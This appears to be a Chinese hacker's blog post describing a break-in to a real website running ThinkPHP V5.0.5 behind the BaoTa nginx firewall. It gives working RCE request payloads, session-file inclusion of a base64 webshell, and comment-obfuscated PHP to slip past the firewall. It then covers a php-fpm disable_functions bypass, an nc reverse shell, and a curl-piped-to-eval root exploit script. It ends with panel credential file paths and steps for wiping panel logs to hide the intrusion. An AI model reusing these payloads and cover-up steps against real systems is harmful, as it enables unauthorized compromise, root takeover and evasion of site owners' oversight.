记一次ThinkPHP V5.0.5 RCE Bypass 宝塔nginx防火墙
最近无聊 更新一下 以前的货
主要是绕过 宝塔nginx防火墙
宝塔防火墙还是很厉害的 有几个点突破不了 比如上传
ThinkPHP是PHP的一套框架 国内用的挺多 也挺好使 开发比较方便 迅速
就是这一套东西 漏洞挺多 不过还好 给了我们一口饭吃
最新版本 就没那么容易整了 在配上 waf rasp 难整
一些漏洞分析 可以看看这个
https://github.com/Mochazz/ThinkPHP-Vuln
现成的工具
https://github.com/Lotus6/ThinkphpGUI
https://github.com/Lucifer1993/TPscan
https://github.com/bewhale/thinkphp_gui_tools
github上随便翻翻也挺多
正题
一个阳光明媚的晚上 发现了一个站
通过app_debug的报错信息发现是 ThinkPHP V5.0.5的站
暴露了不少信息 绝对目录 runtime目录之类的
Linux 宝塔 默认网站路径一般是 /www/wwwroot/
/home/wwwroot/ 这个比较少
刚开始想就是直接RCE 直接干
然后就碰到宝塔的nginx防火墙 还是很强力的
大概试了一下 拦截了
__construct
invokefunction
call_user_func_array
index/\think\request/input
index/\think\Config/load
index/\think\view\driver\Php/display
index/\think\template\driver\file/write
../ 两次也会拦截
这些直接能getshell的利用点 全拦截了 直接找其他突破口
0=error_reporting&1=phpinfo&_method=filter
这个倒是没有被拦 不过看版本和写法 比如我整的这个 就不支持 filter这个方法
POST /index.php?a=PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2MnXSkpOyA/Pg==
0=base64_decode&1=think\Session::set&2=error_reporting&_method=filter
POST /index.php Cookie: POST=session文件名
0=\think\Cookie::get&1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbytgpOw==
POST /index.php?a=C:/phpstudy_pro/Extensions/tmp/tmp/sess_v6mip0bjhb29prtsiv69f12j93
1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbygpOw==
本次利用的点就是 包含session
?s=index/think\Log/getLog
获取 runtime log 目录 发现没开
/application/config.php 也可以在这个文件里面翻到 是否开启
/thinkphp/library/think/Log.php 这里记录了 日志文件命名方式
DS 是/ 也是目录
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/think\Error/appError&errno=1&errstr=<&errline=&errfile=./index.php # 任意文件读取 一次最多读十多行 errline参数控制目前读第多少行
可以包含文件 由此目前的思路就是
包含日志文件
包含上传图片
包含session文件
前两都没戏 这个站
没开记录日志 没上传点
包含session文件 需要一处
可以写入session变量的地方
有源码 可以翻一下 没源码 可以读文件翻 比较麻烦
没源码 可以上github上搜一下
搜索里面的 code 可以搜一下 独特的 js一些函数名 参数名 图片 文件名 之类 或许就有惊喜
剩下的 就是 绕过 宝塔的防火墙了
宝塔防火墙 大部分php函数都会拦截 phpinfo file_put_contents eval 之类 只要 有括号都会拦截
但是php是一门神奇的语言
<?php
$test="phpinfo";
$test();
?>
这样纸是可以运行的
$test='p'/*|?&id=|*/.'h'/*|?&id=|*/.'p'/*|?&id=|*/.'i'/*|?&id=|*/.'n'/*|?&id=|*/.'f'/*|?&id=|*/.'o';
甚至在里面穿插注释也是可以 非常奔放自由 由此就能绕过 很多检测机制
宝塔的session文件 基本是 /tmp/sess_ 这种形式
<?php
这种形式 基本就绕过了 把文件名 一句话内容都 base64编码一遍 一句话也要能过宝塔
剩下的就是 写入 session 然后
?s=index/\think\Lang/load&file=/tmp/sess_xxxxxxxxxxxxxxxxxx
包含session 生成了一句话连接 拿下权限
宝塔的linux提权 简单一点就是 用蚁剑的 绕过模块 进行绕过
常用 php-fpm来绕过disable function 执行命令
FPM/FCGI 地址 宝塔一般是 /tmp/php-cgi-74.sock 看PHP版本 73 73 70 56
一般都是可以绕的 绕完 nc反弹个shell 宝塔一般是 centos7
直接 CVE-2021-3156 或者 CVE-2021-4034
github上都有exp 不过我喜欢用 CVE-2021-4034
直接命令行运行
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
然后一个id root权限 这两洞修了的话 会比较麻烦 可以弹个msf 扫一下 在研究其他办法和思路
宝塔面板
宝塔默认密码
/www/server/panel/data/default.pl
面板端口
/www/server/panel/data/port.pl
后台地址
/www/server/panel/data/admin_path.pl
宝塔数据库 有账号 操作日志之类
/www/server/panel/data/default.db
登宝塔之前可以 备份一下 default.db 然后操作完直接上传覆盖
然后清理 /www/server/panel/logs
记录一下 phpmyadmin地址 和mysql的root密码
宝塔的计划任务是 root权限
这些都是权限维持之类的了
到此 End
tryt
fgh
tryt
这排版也是醉了